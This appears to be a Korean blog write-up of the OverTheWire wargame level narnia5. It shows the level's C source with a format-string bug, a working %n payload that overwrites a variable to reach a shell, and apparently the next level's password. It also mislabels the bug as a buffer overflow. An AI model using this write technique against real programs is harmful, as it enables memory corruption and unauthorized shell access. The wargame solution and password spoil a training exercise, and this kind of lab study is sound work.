-
narnia5OverTheWire 2015. 9. 24. 03:09
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
snprintf에서 인자값을 받아주는데, sprintf에서 버퍼오버플로우 취약점이 터지게된다.
i는 초기값이 1로 되어있는데 이를 500으로 바꿔주어야한다.
format string을 하게되면 처음 i의 버퍼주소값을 준다.
그럼 주소값을주니까 그것을 첫번째에 넣어주고 %08x만큼 AAAA가 언제 다시 또 튀어나오는지를 알아내서 거기에 %n을해주면된다.
./narnia5 $(printf "\xcc\xd6\xff\xff")%08x%08x%08x%472x%n
최종페이로드는이렇다.
500을 넣어주어야하는데 472를 넣어준건 전에 우리가입력해준글자수가 28바이트이기때문에 뒤에 더붙어서 472를 넣어주었다.
neezocaeng